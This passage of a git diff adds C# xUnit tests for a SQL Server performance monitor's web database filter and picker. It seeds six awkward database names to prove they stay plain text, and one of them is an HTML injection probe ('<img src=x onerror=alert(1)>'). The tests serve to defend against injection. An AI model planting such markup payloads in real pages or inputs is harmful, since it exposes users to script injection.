+/// <c>database_name</c> keys. Each of get_active_queries, get_top_queries_by_cpu, get_top_procedures_by_cpu,
+/// get_query_store_top, get_query_store_regressions and get_query_heatmap must answer with the chosen databases' rows
+/// and no others. The seed is one row per read in every one of six awkward database names and a plain decoy, so a
+/// dispatch that passes one name, none, or splits a name on its comma shows up as a wrong set of databases.
+///
+/// <para>The names are data, not code: a comma, a closing bracket, a leading space, a quote, a percent sign and a plus,
+/// and markup. They bind as one <c>text[]</c> and are never concatenated or put in a LIKE.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class WebDatabaseFilterDispatchLiveTests
+{
+    private const string ServerName = "w1-5245-web-dispatch";
+    private const string Decoy = "WebDispatchDecoy";
+
+    /// <summary>The six awkward names of the plan's L6, in the order they are seeded.</summary>
+    private static readonly string[] AwkwardNames =
+    [
+        "A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>",
+    ];
+
+    private static readonly string[] AllNames = [.. AwkwardNames, Decoy];
+
+    private static readonly string[] Reads =
+    [
+        "get_active_queries", "get_top_queries_by_cpu", "get_top_procedures_by_cpu",
+        "get_query_store_top", "get_query_store_regressions", "get_query_heatmap",
+    ];
+
+    private const string Cleanup =
+        "DELETE FROM query_snapshots WHERE server_id = {0}; DELETE FROM query_stats WHERE server_id = {0}; " +
+        "DELETE FROM procedure_stats WHERE server_id = {0}; DELETE FROM query_store_stats WHERE server_id = {0}; " +
+        "DELETE FROM query_store_health WHERE server_id = {0}";
+
+    private static List<string> Sorted(IEnumerable<string> names) => names.Distinct().OrderBy(n => n, StringComparer.Ordinal).ToList();
+
+    /// <summary>A read through the web dispatch, one <c>database_name</c> key per chosen database.</summary>
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>>
+        {
+            new("server_name", ServerName),
+            new("hours_back", read is "get_query_store_top" ? "3" : read is "get_active_queries" ? "1" : "24"),
+        };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    /// <summary>The databases a read's answer covers, by the property that carries the rows. The heatmap's cells name a
+    /// hash, and each hash was seeded in one database.</summary>
+    private static List<string> DatabasesOf(string read, string json, Dictionary<string, string> databaseByHash)
+    {
+        var root = JsonDocument.Parse(json).RootElement;
+        Assert.True(root.TryGetProperty(read switch
+        {
+            "get_top_procedures_by_cpu" => "procedures",
+            "get_query_store_regressions" => "regressions",
+            "get_query_heatmap" => "cells",
+            _ => "queries",
+        }, out var rows), $"{read}: not the success shape: {json}");
+        return Sorted(rows.EnumerateArray().Select(r => read == "get_query_heatmap"
+            ? databaseByHash[r.GetProperty("top_query_hash").GetString()!]
+            : r.GetProperty("database_name").GetString()!));
+    }
+
+    [Fact]
+    public async Task EachOfTheSixReads_WithTwoChosenDatabases_ReturnsOnlyThoseDatabasesRows_AwkwardNamesIncluded()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live web database filter dispatch tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, Cleanup, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var heatmapBin = DarlingMcpTestData.Naive(new DateTime(now.AddHours(-3).Ticks - (now.AddHours(-3).Ticks % TimeSpan.TicksPerHour), DateTimeKind.Utc));
+            var databaseByHash = new Dictionary<string, string>();
+
+            for (var i = 0; i < AllNames.Length; i++)
+            {
+                var db = AllNames[i];
+                var tag = "W1" + i;
+                var weight = 1_000L * (i + 1);
+                /* The heatmap bins every query_stats row, so the top-queries row's hash names its database too. */
+                databaseByHash["0xQ" + tag] = db;
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                           query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                           delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                           min_dop, max_dop, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, 10, $11, $11, 100, 0, 0, 1, $11, 1, $11, 1, 1, 300)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddHours(-2)), serverId, ServerName, db,
+                    "0xQ" + tag, "0xP" + tag, "0xS" + tag, "0xL" + tag, "SELECT " + tag, weight);
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO procedure_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                           delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, 10, $8, $8, 100, 300)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddHours(-2)), serverId, ServerName, db, "usp_" + tag, "0xSQLH" + tag, weight);
+
+                /* Query Store: a baseline capture 40 hours back and a recent capture 30 minutes back that ran 4x slower, so the
+                   same two rows feed get_query_store_top (the recent one, in the 3-hour window) and get_query_store_regressions. */
+                foreach (var (at, executions, avgUs, intervalId) in new[] { (now.AddHours(-40), 100L, 1000L, 2L), (now.AddMinutes(-30), 200L, 4000L, 1L) })
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO query_store_stats
+                              (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_hash, query_plan_hash,
+                               query_text, execution_type_desc, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+                               runtime_stats_interval_id, last_execution_time)
+                          VALUES ($1, $2, $3, $4, $5, $6, $6, $7, $8, $9, 'Regular', $10, $11, $11, 100, $12, $2)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), serverId, ServerName, db, (long)(100 + i),
+                        "0xQS" + tag, "0xQSP" + tag, "SELECT qs " + tag, executions, avgUs, intervalId);
+                }
+
+                /* The heatmap: one hot query per database, each in a 5-minute bin of its own so no two share a cell. */
+                var heatHash = "0xHOT" + tag;
+                databaseByHash[heatHash] = db;
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                           sample_interval_seconds, delta_execution_count, delta_worker_time, delta_elapsed_time,
+                           delta_logical_reads, delta_logical_writes, query_text)
+                      VALUES ($1, $2, $3, $4, $5, $6, 60, 5, 0, 250000, 0, 0, 'SELECT * FROM dbo.Widgets')",
+                    CollectionIdGenerator.Next(), heatmapBin.AddMinutes(10 * i), serverId, ServerName, db, heatHash);
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id)
+                      VALUES ($1,$2,$3,$4,$5,$6,'00 00:00:05.000',$7,'running',0,NULL,0,$8,$8,0,0,2000,0.5,'Read Committed',1,0,'sa','APP01','SSMS',1,0)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-10)), serverId, ServerName, 100 + i, db, "SELECT " + tag + " FROM dbo.Posts", weight);
+            }
+
+            foreach (var read in Reads)
+            {
+                /* Control: with no database_name every read covers all seven, so the seed is visible to it and a filtered
+                   answer cannot be empty for lack of data. */
+                Assert.Equal(Sorted(AllNames), DatabasesOf(read, await WebReadAsync(postgres, read), databaseByHash));
+
+                /* Three disjoint pairs, so the six awkward names are each chosen once. */
+                for (var pair = 0; pair < AwkwardNames.Length; pair += 2)
+                {
+                    var chosen = new[] { AwkwardNames[pair], AwkwardNames[pair + 1] };
+                    var answer = await WebReadAsync(postgres, read, chosen);
+                    var got = DatabasesOf(read, answer, databaseByHash);
+                    Assert.True(Sorted(chosen).SequenceEqual(got),
+                        $"{read} over [{string.Join(" | ", chosen)}] covered [{string.Join(" | ", got)}]");
+                }
+
+                /* A request that names a database twice is one database. */
+                Assert.Equal([Decoy], DatabasesOf(read, await WebReadAsync(postgres, read, Decoy, Decoy), databaseByHash));
+
+                /* A blank-only list is refused, never widened to "all databases". */
+                var refused = JsonDocument.Parse(await WebReadAsync(postgres, read, "  ", "")).RootElement;
+                Assert.True(refused.GetProperty("status").GetString() == "invalid", $"{read}: a blank-only database_name must be refused");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs b/Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs
new file mode 100644
index 0000000000..24b5214c77
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs
@@ -0,0 +1,327 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <para>The server page's database picker (#5245, part of #5244): <c>pages/database-filter.js</c>, built on
+/// <c>multi-picker.js</c> and mounted by <c>pages/server.js</c>. The real page modules run under Node
+/// (<c>web-database-filter-picker-harness.mjs</c>) on a fake DOM, a recording <c>fetch</c> and a stand-in tab registry that
+/// records the filter each panel batch was built under. Node is skipped when it is not installed.</para>
+/// </summary>
+public sealed class WebDatabaseFilterPickerBehaviourTests
+{
+    private static string[] Strings(JsonElement node) => node.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-database-filter-picker-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the database picker harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the database picker harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    /// <summary>
+    /// W9 of the morning walk: the Databases popover opened on Queries stayed open on the Wait Stats tab, because its open flag
+    /// outlives the page rebuild so the 60 s poll keeps it. A tab click (a render that is not the poll's) now closes it.
+    /// </summary>
+    [Fact]
+    public void ThePopover_StaysOpenThroughThePoll_ButClosesOnANavigation()
+    {
+        var r = Run("tabChange");
+
+        Assert.True(r.GetProperty("openAfterClick").GetBoolean());
+        Assert.True(r.GetProperty("openAfterPoll").GetBoolean());
+        Assert.False(r.GetProperty("openAfterNavigation").GetBoolean());
+        Assert.Equal("false", r.GetProperty("expandedAfterNavigation").GetString());
+    }
+
+    [Fact]
+    public void APostgreSqlServer_GetsNoPicker_AndNoFilter()
+    {
+        var r = Run("postgres");
+
+        Assert.Equal(0, r.GetProperty("buttons").GetInt32());
+        Assert.Equal(0, r.GetProperty("slotChildren").GetInt32());
+        // A choice stored for that id is not applied to a PostgreSQL page.
+        Assert.All(r.GetProperty("filters").EnumerateArray(), f => Assert.Equal(JsonValueKind.Null, f.ValueKind));
+    }
+
+    [Fact]
+    public void WithNoCard_TheButtonIsDisabled_AndNoFilterIsActive()
+    {
+        var r = Run("unavailable");
+
+        Assert.Equal(new[] { "Databases: unavailable" }, Strings(r.GetProperty("labels")));
+        Assert.True(r.GetProperty("disabled")[0].GetBoolean());
+        Assert.All(r.GetProperty("filters").EnumerateArray(), f => Assert.Equal(JsonValueKind.Null, f.ValueKind));
+    }
+
+    [Fact]
+    public void Apply_StoresExactlyTheCheckedSet_RedrawsOnce_AndNeverTurnsAFullSetIntoAll()
+    {
+        var r = Run("applyExact");
+
+        // The stored choice is applied to the very first panel batch.
+        Assert.Equal(new[] { "db01", "db02" }, Strings(r.GetProperty("filterAtFirstBuild").GetProperty("databases")));
+        Assert.True(r.GetProperty("popoverHiddenAtStart").GetBoolean());
+        Assert.Equal(0, r.GetProperty("inventoryFetchedBeforeOpen").GetInt32());
+        Assert.Equal("/api/server-databases?server=SRV1", r.GetProperty("inventoryUrl").GetString());
+        Assert.True(r.GetProperty("popoverOpen").GetBoolean());
+        Assert.Equal(0, r.GetProperty("selectAllButtons").GetInt32());
+        Assert.Equal(2, r.GetProperty("checkedAtOpen").GetInt32());
+        Assert.Equal(37, r.GetProperty("checkedAfterAll").GetInt32());
+
+        // Every offered name checked: exactly those 37 are stored. It is not "All".
+        Assert.Equal(37, r.GetProperty("storedCount").GetInt32());
+        Assert.Equal(37, r.GetProperty("stored").GetArrayLength());
+        Assert.Equal(1, r.GetProperty("redraws").GetInt32());
+        Assert.Equal(37, r.GetProperty("filterAfterApply").GetProperty("databases").GetArrayLength());
+        Assert.Equal("Databases: 37 of 37", r.GetProperty("labelAfterApply").GetString());
+        Assert.True(r.GetProperty("popoverClosed").GetBoolean());
+
+        // "All databases", and an Apply with nothing checked, clear the choice.
+        var all = r.GetProperty("afterAll");
+        Assert.Equal(JsonValueKind.Null, all.GetProperty("stored").ValueKind);
+        Assert.Equal(1, all.GetProperty("redraws").GetInt32());
+        Assert.Equal(JsonValueKind.Null, all.GetProperty("filter").ValueKind);
+        Assert.Equal("Databases: All", all.GetProperty("label").GetString());
+        var empty = r.GetProperty("afterEmpty");
+        Assert.Equal(JsonValueKind.Null, empty.GetProperty("stored").ValueKind);
+        Assert.Equal("Databases: All", empty.GetProperty("label").GetString());
+    }
+
+    [Fact]
+    public void TheLabel_ReadsTwo_UntilTheInventoryLoads_ThenTwoOfThirtySeven()
+    {
+        var r = Run("applyExact");
+
+        Assert.Equal("Databases: 2", r.GetProperty("labelBeforeLoad").GetString());
+        Assert.Equal("Databases: 2 of 37", r.GetProperty("labelAfterLoad").GetString());
+    }
+
+    [Fact]
+    public void AStoredNameTheInventoryNoLongerOffers_StaysCheckedAndListed_AndSurvivesApply()
+    {
+        var r = Run("storedMissing");
+
+        Assert.Equal(new[] { "A", "B", "Gone" }, Strings(r.GetProperty("listed")));
+        Assert.Equal(new[] { "A", "Gone" }, Strings(r.GetProperty("checked")));
+        Assert.Equal(new[] { "A", "Gone" }, Strings(r.GetProperty("stored")));
+    }
+
+    [Fact]
+    public void TheFiftyFirstCheck_IsRefusedWithASentence()
+    {
+        var r = Run("limit51");
+
+        Assert.Equal(50, r.GetProperty("checkedBefore").GetInt32());
+        Assert.False(r.GetProperty("fiftyFirstChecked").GetBoolean());
+        Assert.True(r.GetProperty("fiftyFirstDisabled").GetBoolean());
+        Assert.Equal(50, r.GetProperty("checkedAfter").GetInt32());
+        Assert.Equal("Limit reached: uncheck a database to pick another.", r.GetProperty("hint").GetString());
+        Assert.Equal(50, r.GetProperty("storedCount").GetInt32());
+    }
+
+    [Fact]
+    public void ACheckPastFourThousandNinetySixEncodedBytes_IsRefusedWithASentence_For50LongNonAsciiNames()
+    {
+        var r = Run("byteBudget");
+
+        // Each name is 557 encoded bytes (60 CJK characters at 9 bytes each, two digits, and the 15-byte key): 7 fit.
+        Assert.Equal(7, r.GetProperty("checked").GetInt32());
+        Assert.Contains("too long", r.GetProperty("hint").GetString());
+        Assert.Equal(43, r.GetProperty("uncheckedLeft").GetInt32());
+        Assert.Equal(43, r.GetProperty("disabledLeft").GetInt32());
+        Assert.Equal(7, r.GetProperty("storedCount").GetInt32());
+        Assert.True(r.GetProperty("bytes").GetInt32() <= 4096);
+    }
+
+    [Fact]
+    public void TheSixAwkwardNames_AreListedAndStoredAsSixSingleNames_AndNeverAsMarkup()
+    {
+        var r = Run("awkward");
+
+        Assert.Equal(ViewerLocalStateBehaviourTests.AwkwardDatabaseNames, Strings(r.GetProperty("listed")));
+        Assert.Equal(0, r.GetProperty("markupNodes").GetInt32());
+        Assert.Equal(ViewerLocalStateBehaviourTests.AwkwardDatabaseNames, Strings(r.GetProperty("stored")));
+        Assert.Equal(ViewerLocalStateBehaviourTests.AwkwardDatabaseNames, Strings(r.GetProperty("filter").GetProperty("databases")));
+        Assert.Equal("Databases: 6 of 6", r.GetProperty("label").GetString());
+        Assert.Equal(ViewerLocalStateBehaviourTests.AwkwardDatabaseNames, Strings(r.GetProperty("relisted")));
+        Assert.Equal(6, r.GetProperty("relistedChecked").GetInt32());
+        Assert.Equal(0, r.GetProperty("markupNodesAfter").GetInt32());
+    }
+
+    [Fact]
+    public void WhenTheRouteCutTheList_ThePopoverSaysSo_AndTheLabelCountsAPlus()
+    {
+        var r = Run("cutList");
+
+        Assert.Equal(40, r.GetProperty("offered").GetInt32());
+        Assert.Equal(
+            new[] { "The list stops at 40 databases, so more are not shown. Type part of a name in the search box to find it." },
+            Strings(r.GetProperty("note")));
+        Assert.Equal("Databases: 1 of 40+", r.GetProperty("label").GetString());
+    }
+
+    [Fact]
+    public void WhenTheRouteCutNothing_NoNoteShows_AndTheLabelKeepsThePlainCount()
+    {
+        var r = Run("uncutList");
+
+        Assert.Empty(Strings(r.GetProperty("note")));
+        Assert.Equal("Databases: 1 of 40", r.GetProperty("label").GetString());
+    }
+
+    [Fact]
+    public void ACutLists_SearchBox_AsksTheRouteOnce_AfterAPause_AndShowsTheDatabasePastTheCap()
+    {
+        var r = Run("cutSearch");
+
+        // The first page says it is cut and tells the reader to type a name; typing asks nothing until the pause is over.
+        Assert.Equal(
+            new[] { "The list stops at 40 databases, so more are not shown. Type part of a name in the search box to find it." },
+            Strings(r.GetProperty("noteBefore")));
+        Assert.Equal(0, r.GetProperty("searchUrlsBefore").GetInt32());
+        Assert.Equal(0, r.GetProperty("searchUrlsDuringPause").GetInt32());
+
+        // Three keystrokes are one ask, for the last text, and the list is that answer: a name that was never in the first page.
+        Assert.Equal(new[] { "/api/server-databases?server=SRV1&search=zz-past" }, Strings(r.GetProperty("searchUrls")));
+        Assert.Equal(new[] { "zz-past-the-cap" }, Strings(r.GetProperty("listedAfter")));
+        Assert.Empty(Strings(r.GetProperty("noteAfter")));
+        Assert.Equal("Databases: All", r.GetProperty("label").GetString());
+
+        // The found name can be checked and applied. Clearing the box shows the first page again (and the checked name after it),
+        // and asks the route for nothing more.
+        Assert.Equal(41, r.GetProperty("listedCleared").GetInt32());
+        Assert.Equal(1, r.GetProperty("searchUrlsAfterClear").GetInt32());
+        Assert.Equal(new[] { "zz-past-the-cap" }, Strings(r.GetProperty("checkedAfterClear")));
+        Assert.Equal(new[] { "zz-past-the-cap" }, Strings(r.GetProperty("stored")));
+    }
+
+    [Fact]
+    public void ACutLists_Search_ShowsOnlyTheNewestAnswer_WhenAnOlderOneLandsLater()
+    {
+        var r = Run("cutSearchNewestWins");
+
+        Assert.Equal(
+            new[] { "/api/server-databases?server=SRV1&search=a1", "/api/server-databases?server=SRV1&search=a2" },
+            Strings(r.GetProperty("searchUrls")));
+        Assert.Equal(new[] { "a2-new-answer" }, Strings(r.GetProperty("listedMid")));
+        Assert.Equal(new[] { "a2-new-answer" }, Strings(r.GetProperty("listedEnd")));
+    }
+
+    [Fact]
+    public void ACutLists_ServerAnswer_IsListedAsSent_NotFilteredAgainByJavaScriptCaseFolding()
+    {
+        var r = Run("cutSearchServerFold");
+
+        // "İstanbul" does not lowercase to text that contains "ist" in JavaScript, but the route returned it for "ist".
+        Assert.Equal(new[] { "İstanbul", "istanbul2" }, Strings(r.GetProperty("listedAnswered")));
+        // While the newer text's answer is in flight, the last answer is narrowed locally; the newest answer then replaces it.
+        Assert.Equal(new[] { "istanbul2" }, Strings(r.GetProperty("listedInFlight")));
+        Assert.Equal(new[] { "İstanbul", "istanbul2" }, Strings(r.GetProperty("listedNewest")));
+    }
+
+    [Fact]
+    public void ASearchThatIsItselfCut_SaysSo()
+    {
+        var r = Run("cutSearchCutAndFails");
+
+        Assert.Equal(40, r.GetProperty("offered").GetInt32());
+        Assert.Equal(
+            new[] { "The search stops at 40 databases, so more matches are not shown. Type more of the name to narrow it." },
+            Strings(r.GetProperty("noteCut")));
+    }
+
+    [Fact]
+    public void AListThatWasNotCut_FiltersLocally_AndAsksTheRouteForNothing()
+    {
+        var r = Run("uncutSearch");
+
+        Assert.Empty(Strings(r.GetProperty("searchUrls")));
+        Assert.Equal(
+            new[] { "db10", "db11", "db12", "db13", "db14", "db15", "db16", "db17", "db18", "db19" },
+            Strings(r.GetProperty("listed")));
+        Assert.Empty(Strings(r.GetProperty("note")));
+    }
+
+    [Fact]
+    public void ABlankByTheServicesRuleName_IsRefusedWithTheNameSentence_AndAByteOrderMarkNameIsKept()
+    {
+        var r = Run("blankName");
+
+        Assert.Contains("a name the filter cannot keep", r.GetProperty("message").GetString());
+        Assert.DoesNotContain("too large", r.GetProperty("message").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("stored").ValueKind);
+        Assert.Equal(new[] { "1:feff" }, Strings(r.GetProperty("storedBom")));
+    }
+
+    [Fact]
+    public void WhenTheInventoryCannotBeLoaded_TheSentenceShows_AndTheStoredNamesStayListed()
+    {
+        var r = Run("loadFails");
+
+        Assert.StartsWith("The list of databases could not be loaded", r.GetProperty("message").GetString());
+        Assert.Equal(new[] { "Kept" }, Strings(r.GetProperty("listed")));
+        Assert.Equal("Databases: 1", r.GetProperty("label").GetString());
+    }
+
+    [Fact]
+    public void TheSource_SetsNamesAsTextOnly_AndLeavesTheWaitPickersAlone()
+    {
+        var picker = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "database-filter.js");
+        var multi = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "multi-picker.js");
+        var server = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server.js");
+
+        Assert.DoesNotContain("innerHTML", picker);
+        Assert.DoesNotContain("insertAdjacentHTML", picker);
+        Assert.Contains("selectAll: withSelectAll = true", multi);
+        // The search callback is optional: a picker that passes none (the wait pickers) behaves as it did.
+        Assert.Contains("onSearch = null", multi);
+        Assert.Contains("if (onSearch) onSearch(state.search);", multi);
+        // A picker with no `answeredFor` (the wait and perfmon pickers) filters locally, exactly as before.
+        Assert.Contains("answeredFor = null", multi);
+        Assert.Contains("setActiveDatabaseFilter({ server: current.server, databases })", server);
+        Assert.Contains("onApply: redrawPanels", server);
+        Assert.Contains("isPostgresTarget(card)", server);
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs b/Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs
new file mode 100644
index 0000000000..ab85d28aea
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs
@@ -0,0 +1,364 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <para>The server page's database filter (#5244, #5245) sorts every SQL Server read the page names into exactly one of four
+/// classes, in <c>wwwroot/js/database-filter-reads.js</c>: FILTERED (the route takes the chosen databases), UNFILTERED (a
+/// database-scoped read that cannot take them yet), IDENTITY (the query drill and the seven plan-viewer reads, which take
+/// <c>database_name</c> as a row's identity) and SERVER_WIDE (the data has no database). These tests hold the sorting
+/// together without Node, so they run where the harness behind <see cref="WebDatabaseFilterBehaviourTests"/> cannot.</para>
+///
+/// <para>Census scope: every module in <c>pages/server.js</c>'s static import closure, followed transitively, not
+/// <c>server-tabs.js</c> alone. <c>server-tabs.js</c> imports <c>pages/analysis-findings.js</c> and <c>pages/plan-viewer.js</c>, and
+/// a census that rosters its files does not see the file it does not roster (.github/REVIEW-TRAPS.md names the trap). A read
+/// named in any of them with no class would otherwise default to "server-wide" by silence.</para>
+///
+/// <para>The two pins hold the JS list to the server: the catalog rows that carry <c>PDatabases(</c> are exactly FILTERED, and the
+/// dispatch entries that call <c>DatabaseNames(c)</c> are exactly those rows. Until the first read is wired, all three sets
+/// are empty, so the parsing is also exercised on text built here, wrapped entries and a helper after the method included.</para>
+/// </summary>
+public sealed class WebDatabaseFilterReadsTests
+{
+    private static readonly string[] ClassNames = { "FILTERED", "UNFILTERED", "IDENTITY", "SERVER_WIDE" };
+
+    private static string ReadJs(string relative) =>
+        ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", relative);
+
+    private static string ReadEndpoints() =>
+        ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+
+    /// <summary>The four classes as database-filter-reads.js declares them: the quoted names of each
+    /// <c>export const NAME = new Set([...]);</c>, in file order, comments dropped.</summary>
+    private static Dictionary<string, string[]> Classes()
+    {
+        var text = ReadJs("database-filter-reads.js");
+        var classes = new Dictionary<string, string[]>();
+        foreach (var name in ClassNames)
+        {
+            var declared = Regex.Match(text, @"export const " + name + @" = new Set\(\[(?<body>.*?)\]\);", RegexOptions.Singleline);
+            Assert.True(declared.Success, $"database-filter-reads.js no longer declares `export const {name} = new Set([...]);` in the form these tests read.");
+            var body = Regex.Replace(declared.Groups["body"].Value, @"//[^\n]*", "");
+            classes[name] = Regex.Matches(body, @"""([A-Za-z0-9_]+)""").Select(m => m.Groups[1].Value).ToArray();
+        }
+
+        return classes;
+    }
+
+    /// <summary>The catalog's read names: each <c>["name"] = R(</c> row of CatalogDescriptors.</summary>
+    internal static string[] CatalogNames(string endpoints) =>
+        Regex.Matches(endpoints, @"\[""(\w+)""\] = R\(").Select(m => m.Groups[1].Value).ToArray();
+
+    /// <summary>Entries of one dictionary initializer: each runs from its start match to the next entry's start (or the end of
+    /// the region), so an entry that wraps over several lines is read whole.</summary>
+    private static (string Name, string Body)[] Entries(string region, string startPattern)
+    {
+        var starts = Regex.Matches(region, startPattern).ToArray();
+        return starts.Select((m, i) => (Name: m.Groups[1].Value, Body: region[m.Index..(i + 1 < starts.Length ? starts[i + 1].Index : region.Length)])).ToArray();
+    }
+
+    /// <summary>The CatalogDescriptors rows, each with its text. The region ends at the initializer's closing brace, so a helper
+    /// declared after it cannot count as a row's text.</summary>
+    internal static (string Name, string Body)[] CatalogRows(string endpoints)
+    {
+        var begin = Regex.Match(endpoints, @"CatalogDescriptors\s*=\s*new Dictionary<string, CatalogRead>");
+        Assert.True(begin.Success, "DarlingWebEndpoints.cs no longer declares CatalogDescriptors in the form this pin reads.");
+        var end = endpoints.IndexOf("\n        };", begin.Index, StringComparison.Ordinal);
+        Assert.True(end > 0, "the end of CatalogDescriptors was not found.");
+        return Entries(endpoints[begin.Index..end], @"\[""(\w+)""\] = R\(");
+    }
+
+    /// <summary>The BuildReadDispatch entries, each with its text. The last entry ends at the end of the method (its closing
+    /// brace at four spaces), so the text of a helper written after it cannot match.</summary>
+    internal static (string Name, string Body)[] DispatchEntries(string endpoints)
+    {
+        var begin = Regex.Match(endpoints, @"BuildReadDispatch\(ILogger\?");
+        Assert.True(begin.Success, "DarlingWebEndpoints.cs no longer declares BuildReadDispatch in the form this pin reads.");
+        var end = endpoints.IndexOf("\n    }\n", begin.Index, StringComparison.Ordinal);
+        Assert.True(end > 0, "the end of BuildReadDispatch was not found.");
+        return Entries(endpoints[begin.Index..end], @"\[""(\w+)""\] = \(c, pg, an\) =>");
+    }
+
+    private static string[] Sorted(IEnumerable<string> names) => names.OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
+    /// <summary>The modules reachable from pages/server.js by <c>import ... from "./x.js"</c> (and a dynamic import with a literal
+    /// path), followed transitively, as repo-relative paths under wwwroot/js with their text.</summary>
+    private static Dictionary<string, string> ImportClosure(string entry)
+    {
